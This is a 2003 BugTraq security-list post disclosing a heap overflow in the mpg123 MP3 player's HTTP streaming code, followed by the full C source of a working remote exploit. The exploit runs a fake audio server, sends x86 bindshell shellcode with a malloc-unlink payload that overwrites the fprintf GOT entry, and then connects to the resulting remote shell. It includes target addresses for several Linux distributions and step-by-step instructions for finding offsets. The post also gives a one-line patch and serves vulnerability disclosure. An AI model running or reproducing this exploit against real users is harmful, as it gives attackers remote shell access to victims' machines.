BugTraq
mpg123[v0.59r,v0.59s]: remote client-side heap corruption exploit. Sep 23 2003 03:44AM
Vade 79 (v9 fakehalo deadpig org)


did an audit of mpg123(my mp3 player of choice), found a remotely

exploitable bug in audio streaming service(httpget.c); applies to v0.59r

and v0.59s(pre, up to current as of writing this). the exploit comments

explain how it works and how to find the memory addresses needed(if not

already a target value).

original exploit reference(URL):

http://fakehalo.deadpig.org/xmpg123.c

----------------------- exploit source: xmpg123.c -----------------------

/*[ mpg123[v0.59r,v0.59s]: remote client-side heap corruption exploit. ]*

* *

* by: vade79/v9 v9 (at) fakehalo.deadpig (dot) org [email concealed] (fakehalo/realhalo) *

* *

* Url: *

* http://www.mpg123.de *

* *

* Mpg123, versions 0.59r and pre0.59s(current) contain a remotely *

* exploitable heap based buffer overflow. The overflow occurs when *

* the function readstring(), defined in httpget.c, does not properly *

* limit the amount of data written to a buffer. (*request) *

* *

* The vulnerable function is used when reading strings from remote *

* hosts, such as http audio streaming services. The function is only *

* used in conjunction with writing to the *request buffer, which is *

* malloc'd into 1024 bytes. *

* *

* This function will continue reading into the *request buffer, byte *

* by byte, until a '\n' is read. The function has a "maximum value to *

* write" argument passed to it, ie. readstring(char *string, int *

* maxlen, FILE *f), but does not use it at all. (except for the old, *

* commented out, unused code) *

* *

* This exploit takes advantage of the vulnerability by using the *

* unlink() malloc chunk manipulation method. This will require exact *

* addresses for use with the exploit. You can find out how to get the *

* addresses needed in the define comments or by viewing the help *

* screen(this will still not get you the exact offset, test to find *

* it; use the "-+" argument). *

* *

* Usage: *

* # cc xmpg123.c -o xmpg123 *

* # ./xmpg123 [-sgr+tl] -p port *

* *

* Exploit workings: *

* client connects: *

* /usr/bin/mpg123 http://www.host-running-xmpg123.com:port *

* www.host-running-xmpg123.com sends: *

* <64 byte filler><shellcode>...<* filler>|<16 byte malloc chunk> *

* Where '|' is the 1024 byte boundary, followed by the 4*4=16 *

* byte fake malloc chunk. *

* *

* The bug itself(mpg123/httpget.c): *

* void readstring (char *string, int maxlen, FILE *f) *

* { *

* #if 0 *

* char *result; *

* #endif *

* int pos = 0; *

* *

* while(1) { *

* if( read(fileno(f),string+pos,1) == 1) { *

* pos++; *

* if(string[pos-1] == '\n') { *

* string[pos] = 0; *

* break; *

* } *

* } *

* else if(errno != EINTR) { *

* fprintf (stderr, "Error reading from socke$ *

* exit(1); *

* } *

* } *

* #if 0 *

* do { *

* result = fgets(string, maxlen, f); *

* } while (!result && errno == EINTR); *

* if (!result) { *

* fprintf (stderr, "Error reading from socket or une$ *

* } *

* #endif *

* *

* } *

* *

* Source quick fix: *

* -while(1) { *

* +while(maxlen>pos) { *

* *

* Example(test on localhost): *

* (exploit daemon) *

* # ./xmpg123 -t 2 -p 80 *

* [*] mpg123[v0.59r,v0.59s]: remote client-side heap corruption exp$ *

* [*] by: vade79/v9 v9 (at) fakehalo.deadpig (dot) org [email concealed] (fakehalo/realhalo) *

* *

* [*] platform value base : redhat 7.1, factory binary. *

* [*] fprintf GOT address : 0x08067170. *

* [*] *request address location : 0x0807ddb0. *

* [*] *request offset(+?*4) : 16(=64), ret=0x0807ddf0. *

* *

* [*] awaiting connection from: *:80. *

* [*] audio server connection established. (127.0.0.1) *

* [*] waiting for request information, to verify the client. *

* [*] client is running an exploitable version, continuing. *

* [*] sending the string to exploit the overflow condition. *

* [*] closed audio server connection. *

* [*] checking to see if the exploit was successful. *

* [*] attempting to connect: 127.0.0.1:7979. *

* [*] successfully connected: 127.0.0.1:7979. *

* *

* Linux localhost.localdomain 2.4.2-2 #1 Sun Apr 8 20:41:30 EDT 200$ *

* uid=500(v9) gid=500(v9) groups=500(v9) *

* *

* (mpg123 client) *

* # mpg123 http://localhost *

* High Performance MPEG 1.0/2.0/2.5 Audio Player for Layer 1, 2 and$ *

* Version 0.59r (1999/Jun/15). Written and copyrights by Michael *

* Uses code from various people. See 'README' for more! *

* THIS SOFTWARE COMES WITH ABSOLUTELY NO WARRANTY! USE AT YOUR OWN $ *

* (hangs until the bindshell is closed, if successful) *

* *

* Note: *

* I provided several example target values, however if you are not *

* one of those targets, guessing will not work; you will need the *

* exact values for the fprintf GOT address, *request address, and the *

* exact offset to the shellcode. (0x663c0beb = start of code; what *

* you want to look for in gdb for an offset from *request) *

* *

* (still squished, un-spaced, and un-tabbed; as it should be) *

************************************************************************
/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <strings.h>

#include <signal.h>

#include <unistd.h>

#include <getopt.h>

#include <netdb.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <sys/time.h>

#include <netinet/in.h>

#include <arpa/inet.h>

/* (generic value used in the definition, use to the -g argument) */

/* this value is going to be the fprintf GOT(global offset table) */

/* address, to find this value run: */

/* # objdump -R /usr/bin/mpg123 | grep fprintf | grep -v "vf" */

/* 08012345 R_386_JUMP_SLOT fprintf */

#define GOT_ADDR 0x08012345

/* (generic value used in the definition, use to the -r argument) */

/* this value is going to be the pointer of the *request buffer. */

/* this value can be found by running: */

/* # ltrace /usr/bin/mpg123 -t http://null 2>&1|grep 1024|head -1 */

/* malloc(1024) = 0x08054321 */

/* the location of the shellcode will be 64(16) or more bytes off */

/* depending on the situation. the exact address of the shellcode */

/* you'll have to find it on your own(use gdb), if you don't know */

/* how a good guess is 16(64). the offset formula is: */

/* (REQUEST_ADDR+(offset*4)) */

#define REQUEST_ADDR 0x08054321

/* generic port for the bindshell to listen on. */

#define DFL_SPORT 7979

/* generic timeout for connections, before giving up. */

#define TIMEOUT 10

/* normally this would jmp 10(0x0a). but, that is the CR/enter */

/* value; so it is going to jmp 11(0x0b) instead, simply to avoid */

/* using that character. the bindshell portion of the shellcode */

/* was written by netric(group). also added exit() to look less */

/* obvious. (to avoid segmentation faults/illegal instructions) */

static char x86_exec[]=

"\xeb\x0b\x3c\x66\x61\x6b\x65\x68\x61\x6c\x6f\x3f\x3e\x31\xc0\x50"

"\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66\xcd\x80\x31\xd2\x52\x66"

"\x68\x00\x00\x43\x66\x53\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66"

"\xcd\x80\x40\x89\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c"

"\x52\x52\x43\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x41\x80"

"\xf9\x03\x75\xf6\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89"

"\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";

/* platform dealios. (stored and tested values) */

struct platform {

/* name of the platform. */

char *p_name;

/* fprintf GOT(global offset table) address. */

unsigned int p_gotaddr;

/* *request address location. */

unsigned int p_requestaddr;

/* offset*4 from(+) *request, where the shellcode is. */

unsigned int p_retoffset;

};

struct platform target[]={

{"mandrake 9.1, factory binary",0x0806fac8,0x08086678,26},

{"mandrake 9.0, factory binary",0x0806d5a8,0x08084130,26},

{"redhat 7.1, factory binary",0x08067170,0x0807ddb0,16},

{"redhat 7.1, src(pre0.59s) install",0x0806ef78,0x08086b10,18},

{"gentoo 1.4, src pkg install",0x08072714,0x08092bf8,16},

{"debian ?.? (unstable), pkg install",0x0806eed8,0x08085a90,16},

{"crash test, (if crashes it's exploitable)",0xdeadbeef,0xdeadbeef,0},

{NULL,0,0,0}

};

/* function definitions. */

char *getbuf(void);

char *audioserver_bind(void);

void getshell(char *);

void printe(char *,short);

void platform_list(void);

void usage(char *);

void sig_alarm(){printe("alarm/timeout hit.",1);}

/* global values used throughout. */

unsigned short port=0;

unsigned short sport=DFL_SPORT;

unsigned int gotaddr=GOT_ADDR;

unsigned int requestaddr=REQUEST_ADDR;

unsigned int retoffset=0;

/* start of operations. */

int main(int argc,char **argv){

unsigned int i=0;

int chr=0;

char *hostptr, *nameptr="none";

printf("[*] mpg123[v0.59r,v0.59s]: remote client-side heap corruption"

" exploit.\n[*] by: vade79/v9 v9 (at) fakehalo.deadpig (dot) org [email concealed] (fakehalo/realh"

"alo)\n\n");

while((chr=getopt(argc,argv,"p:s:g:r:+:t:l"))!=EOF){

switch(chr){

case 'p':

port=atoi(optarg);

break;

case 's':

sport=atoi(optarg);

break;

case 'g':

sscanf(optarg,"%x",&gotaddr);

break;

case 'r':

sscanf(optarg,"%x",&requestaddr);

break;

case '+':

retoffset=(atoi(optarg)*4);

break;

case 't':

i=0;

while(target[i].p_name)i++;

if(atoi(optarg)>=i)

printf("[!] %u is not a valid target, ignored.\n",atoi(optarg));

else{

nameptr=target[atoi(optarg)].p_name;

gotaddr=target[atoi(optarg)].p_gotaddr;

requestaddr=target[atoi(optarg)].p_requestaddr;

retoffset=(target[atoi(optarg)].p_retoffset*4);

}

break;

case 'l':

platform_list();

break;

default:

usage(argv[0]);

break;

}

}

if(!port)usage(argv[0]);

/* verbose display. */

printf("[*] platform value base\t\t: %s.\n",nameptr);

printf("[*] fprintf GOT address\t\t: 0x%.8x.\n",gotaddr);

printf("[*] *request address location\t: 0x%.8x.\n",requestaddr);

printf("[*] *request offset(+?*4)\t: %u(=%u), ret=0x%.8x.\n\n",

(retoffset/4),retoffset,(requestaddr+retoffset));

/* set the bindshell port in the shellcode(byte 33/34). */

x86_exec[33]=(sport&0xff00)>>8;

x86_exec[34]=(sport&0x00ff);

/* audioserver_bind() returns the host that connected to it. */

hostptr=audioserver_bind();

/* check the host for success, see if the bindshell is listening. */

getshell(hostptr);

printf("[!] exploit failed.\n");

exit(0);

}

/* makes the exploit buffer, an all-in-one function. */

char *getbuf(void){

char *buf;

/* buf=1024 + chunk structure=16 + "\n\n"=2. */

if(!(buf=(char *)malloc(1024+16+2+1)))

printe("getbuf(): allocating memory failed.",1);

memset(buf,0x78,1024);

/* data in the beginning of the buffer gets truncated by the */

/* second \n, adding a static filler value before the shellcode. */

memcpy(buf+64,x86_exec,strlen(x86_exec));

/* --now exceeding buffer limits, overwriting internal values-- */

*(long *)&buf[1024]=0xfffffffc;

*(long *)&buf[1028]=0xffffffff;

*(long *)&buf[1032]=(gotaddr-12);

*(long *)&buf[1036]=(requestaddr+retoffset);

buf[1040]=0x0a;

/* the second '\n' triggers it, also causes *request truncation. */

buf[1041]=0x0a;

return(buf);

}

/* the "audio server" fake daemon, what mpg123 connects to. */

char *audioserver_bind(void){

unsigned int salen=0;

int ssock=0,sock=0,so=1;

char *buf;

struct sockaddr_in ssa,sa;

if(!(buf=(char *)malloc(1024+1)))

printe("audioserver_bind(): allocating memory failed.",1);

ssock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

setsockopt(ssock,SOL_SOCKET,SO_REUSEADDR,(void *)&so,sizeof(so));

/* not everywheres, maybe pretty close by now though. */

#ifdef SO_REUSEPORT

setsockopt(ssock,SOL_SOCKET,SO_REUSEPORT,(void *)&so,sizeof(so));

#endif

ssa.sin_family=AF_INET;

ssa.sin_port=htons(port);

ssa.sin_addr.s_addr=INADDR_ANY;

if(bind(ssock,(struct sockaddr *)&ssa,sizeof(ssa))==-1)

printe("could not bind socket.",1);

while(ssock){

printf("[*] awaiting connection from: *:%d.\n",port);

listen(ssock,1);

bzero((char*)&sa,sizeof(struct sockaddr_in));

salen=sizeof(sa);

sock=accept(ssock,(struct sockaddr *)&sa,&salen);

printf("[*] audio server connection established. (%s)\n",

inet_ntoa(sa.sin_addr));

/* to verify the agent, ie. "User-Agent: mpg123/0.59r\n". */

printf("[*] waiting for request information, to verify the client.\n");

read(sock,buf,1024);

if(strstr(buf,"mpg123/0.59r")||strstr(buf,"mpg123/0.59s")){

printf("[*] client is running an exploitable version, continuing.\n");

/* got the client we want, close the server socket. */

close(ssock);

ssock=0;

}

else{

printf("[!] client is not running an exploitable version, skipped.\n");

close(sock);

}

}

/* send the pre-packaged all-in-one exploit string. */

printf("[*] sending the string to exploit the overflow condition.\n");

write(sock,getbuf(),strlen(getbuf()));

/* sleeps always make me feel safer for some reason. */

sleep(1);

close(sock);

printf("[*] closed audio server connection.\n");

free(buf);

/* return the host that connected to us. */

return(inet_ntoa(sa.sin_addr));

}

/* client to connect to the bindshell, and allow interactive cmds. */

void getshell(char *hostname){

int sock,r;

char *buf;

fd_set fds;

struct hostent *he;

struct sockaddr_in sa;

if(!(buf=(char *)malloc(4096+1)))

printe("getshell(): allocating memory failed.",1);

printf("[*] checking to see if the exploit was successful.\n");

if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)

printe("getshell(): socket() failed.",1);

sa.sin_family=AF_INET;

if((sa.sin_addr.s_addr=inet_addr(hostname))){

if(!(he=gethostbyname(hostname)))

printe("getshell(): couldn't resolve.",1);

memcpy((char *)&sa.sin_addr,(char *)he->h_addr,

sizeof(sa.sin_addr));

}

sa.sin_port=htons(sport);

signal(SIGALRM,sig_alarm);

alarm(TIMEOUT);

printf("[*] attempting to connect: %s:%d.\n",hostname,sport);

if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){

printf("[!] connection failed: %s:%d.\n",hostname,sport);

return;

}

alarm(0);

printf("[*] successfully connected: %s:%d.\n\n",hostname,sport);

signal(SIGINT,SIG_IGN);

write(sock,"uname -a;id\n",13);

while(1){

FD_ZERO(&fds);

FD_SET(0,&fds);

FD_SET(sock,&fds);

if(select(sock+1,&fds,0,0,0)<1)

printe("getshell(): select() failed.",1);

if(FD_ISSET(0,&fds)){

if((r=read(0,buf,4096))<1)

printe("getshell(): read() failed.",1);

if(write(sock,buf,r)!=r)

printe("getshell(): write() failed.",1);

}

if(FD_ISSET(sock,&fds)){

if((r=read(sock,buf,4096))<1)

exit(0);

write(1,buf,r);

}

}

close(sock);

return;

}

/* prints error messages and/or exits afterwords. */

void printe(char *err,short e){

printf("[!] error: %s\n",err);

if(e)exit(1);

return;

}

/* like it looks; lists the platforms in a loop. */

void platform_list(void){

unsigned int i=0;

for(i=0;target[i].p_name;i++)

printf("[*] %u\t: %s.\n",i,target[i].p_name);

printf("\n");

exit(0);

}

/* verbose program syntax. */

void usage(char *name){

printf(" usage: %s [options] -p port\n\n options:\n"

" -p <number>\tdefines the server port.\t\t(REQUIRED, usually 80)\n"

" -s <number>\tdefines the bindshell port.\t\t(%u)\n"

" -g <string>\tdefines GOT address.\t\t\t(0x%.8x)\n"

" -r <string>\tdefines *request address.\t\t(0x%.8x)\n"

" -+ <number>\tadds number*4 to the return address.\t(0x%.8x+(?*4))\n"

" -t <number>\timports a target table to use as values.\n"

" -l\t\twill list the target values available.\n\n"

" to find the -g argument type:\n"

" # objdump -R /usr/bin/mpg123 | grep fprintf | grep -v \"vf\"\n"

" 08012345 R_386_JUMP_SLOT fprintf\n\n"

" to find the -r argument type:\n"

" # ltrace /usr/bin/mpg123 -t http://null 2>&1|grep 1024|head -1\n"

" malloc(1024) = 0x08054321\n\n"

" (offset to shellcode from *request(-r) must be found manually)\n\n",

name,sport,gotaddr,requestaddr,requestaddr);

exit(0);

}

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus